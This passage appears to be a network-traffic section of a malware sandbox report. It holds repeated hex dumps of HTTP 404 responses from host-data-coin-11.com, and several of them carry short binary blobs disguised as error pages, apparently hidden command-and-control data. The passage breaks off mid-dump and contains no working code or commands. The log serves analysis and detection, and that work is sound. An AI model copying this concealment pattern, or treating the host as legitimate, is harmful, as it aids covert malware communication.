Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:04:36 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 36 35 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 0c ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b4 50 dd 4b d0 fe 26 85 21 ea a5 90 50 2e e2 be 4d 23 e3 b3 b4 6c fb 9f bc 50 ab 73 93 cb 32 40 5c 3c 0d 4b dd bb 4a be ff 57 99 bd d4 0b 8d 2b 80 cf 0d 0a 30 0d 0a 0d 0a Data Ascii: 65I:82OB%,YR("XPK&!P.M#lPs2@\<KJW+0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:04:38 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:04:38 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:04:39 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:04:39 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:04:39 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:04:39 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:04:39 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:04:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:04:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 14 f9 aa 89 ff a2 1e b7 08 93 31 f9 55 50 99 4a f7 e0 25 e5 39 1a 48 ec a0 8a 70 bc 57 da 4a d4 f6 2e 87 25 eb c3 94 58 23 e3 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OU&1UPJ%9HpWJ.%X#c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:04:43 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:04:43 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:04:44 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 14 f9 aa 89 ff a2 1e b7 08 93 31 f9 55 50 99 4a f6 e8 24 e5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OU&1UPJ$dP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:04:46 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 